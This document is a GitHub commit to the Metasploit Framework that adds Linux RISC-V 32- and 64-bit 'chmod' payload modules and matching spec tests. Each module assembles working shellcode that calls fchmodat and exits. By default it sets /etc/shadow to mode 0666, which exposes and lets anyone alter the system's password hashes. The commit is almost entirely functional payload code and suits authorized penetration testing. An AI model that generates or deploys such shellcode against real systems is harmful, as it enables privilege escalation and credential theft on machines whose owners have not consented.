Skip to content

Commit 5ccf219

Browse files
bcolesbcoles
committed
Add Linux RISC-V chmod payloads
1 parent 8e642d4 commit 5ccf219

File tree

3 files changed

+166
-0
lines changed

3 files changed

+166
-0
lines changed

‎modules/payloads/singles/linux/riscv32le/chmod.rb‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 52
8+
9+
include Msf::Payload::Single
10+
11+
def initialize(info = {})
12+
super(
13+
merge_info(
14+
info,
15+
'Name' => 'Linux Chmod',
16+
'Description' => 'Runs chmod on the specified file with specified mode.',
17+
'Author' => 'bcoles',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'linux',
20+
'Arch' => ARCH_RISCV32LE,
21+
'References' => [
22+
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
23+
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/chmod/chmod.s'],
24+
]
25+
)
26+
)
27+
register_options([
28+
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
29+
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
30+
])
31+
end
32+
33+
# @return [String] the full path of the file to be modified
34+
def file_path
35+
datastore['FILE'] || ''
36+
end
37+
38+
# @return [Integer] the desired mode for the file
39+
def mode
40+
(datastore['MODE'] || '0666').oct
41+
rescue StandardError => e
42+
fail_with(Failure::BadConfig, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}")
43+
end
44+
45+
# @return [Integer] RISC-V instruction to load mode into a2 register
46+
# For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
47+
def chmod_instruction(mode)
48+
(mode & 0xfff) << 20 | 0x0613
49+
end
50+
51+
def generate(_opts = {})
52+
fail_with(Failure::BadConfig, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)") if mode > 0xFFF
53+
54+
shellcode = [
55+
0xf9c00513, # li a0,-100
56+
0x00000597, # auipc a1,0x0
57+
0x02458593, # addi a1,a1,36 # 100a0 <path>
58+
chmod_instruction(mode), # li a2,<mode>
59+
0x00000693, # li a3,0
60+
0x03500893, # li a7,53 # __NR_fchmodat
61+
0x00000073, # ecall
62+
0x00000513, # li a0,0
63+
0x05d00893, # li a7,93 # __NR_exit
64+
0x00000073, # ecall
65+
].pack('V*')
66+
shellcode += file_path + "\x00"
67+
68+
# align our shellcode to 4 bytes
69+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
70+
71+
super.to_s + shellcode
72+
end
73+
end

‎modules/payloads/singles/linux/riscv64le/chmod.rb‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 52
8+
9+
include Msf::Payload::Single
10+
11+
def initialize(info = {})
12+
super(
13+
merge_info(
14+
info,
15+
'Name' => 'Linux Chmod',
16+
'Description' => 'Runs chmod on the specified file with specified mode.',
17+
'Author' => 'bcoles',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'linux',
20+
'Arch' => ARCH_RISCV64LE,
21+
'References' => [
22+
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
23+
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv64/chmod/chmod.s'],
24+
]
25+
)
26+
)
27+
register_options([
28+
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
29+
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
30+
])
31+
end
32+
33+
# @return [String] the full path of the file to be modified
34+
def file_path
35+
datastore['FILE'] || ''
36+
end
37+
38+
# @return [Integer] the desired mode for the file
39+
def mode
40+
(datastore['MODE'] || '0666').oct
41+
rescue StandardError => e
42+
fail_with(Failure::BadConfig, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}")
43+
end
44+
45+
# @return [Integer] RISC-V instruction to load mode into a2 register
46+
# For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2
47+
def chmod_instruction(mode)
48+
(mode & 0xfff) << 20 | 0x0613
49+
end
50+
51+
def generate(_opts = {})
52+
fail_with(Failure::BadConfig, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)") if mode > 0xFFF
53+
54+
shellcode = [
55+
0xf9c00513, # li a0,-100
56+
0x00000597, # auipc a1,0x0
57+
0x02458593, # addi a1,a1,36 # 100a0 <path>
58+
chmod_instruction(mode), # li a2,<mode>
59+
0x00000693, # li a3,0
60+
0x03500893, # li a7,53 # __NR_fchmodat
61+
0x00000073, # ecall
62+
0x00000513, # li a0,0
63+
0x05d00893, # li a7,93 # __NR_exit
64+
0x00000073, # ecall
65+
].pack('V*')
66+
shellcode += file_path + "\x00"
67+
68+
# align our shellcode to 4 bytes
69+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
70+
71+
super.to_s + shellcode
72+
end
73+
end

‎spec/modules/payloads_spec.rb‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2055,6 +2055,16 @@
20552055
reference_name: 'linux/ppc64/shell_reverse_tcp'
20562056
end
20572057

2058+
context 'linux/riscv32le/chmod' do
2059+
it_should_behave_like 'payload cached size is consistent',
2060+
ancestor_reference_names: [
2061+
'singles/linux/riscv32le/chmod'
2062+
],
2063+
dynamic_size: false,
2064+
modules_pathname: modules_pathname,
2065+
reference_name: 'linux/riscv32le/chmod'
2066+
end
2067+
20582068
context 'linux/riscv32le/exec' do
20592069
it_should_behave_like 'payload cached size is consistent',
20602070
ancestor_reference_names: [
@@ -2075,6 +2085,16 @@
20752085
reference_name: 'linux/riscv32le/reboot'
20762086
end
20772087

2088+
context 'linux/riscv64le/chmod' do
2089+
it_should_behave_like 'payload cached size is consistent',
2090+
ancestor_reference_names: [
2091+
'singles/linux/riscv64le/chmod'
2092+
],
2093+
dynamic_size: false,
2094+
modules_pathname: modules_pathname,
2095+
reference_name: 'linux/riscv64le/chmod'
2096+
end
2097+
20782098
context 'linux/riscv64le/exec' do
20792099
it_should_behave_like 'payload cached size is consistent',
20802100
ancestor_reference_names: [

0 commit comments

Comments
 (0)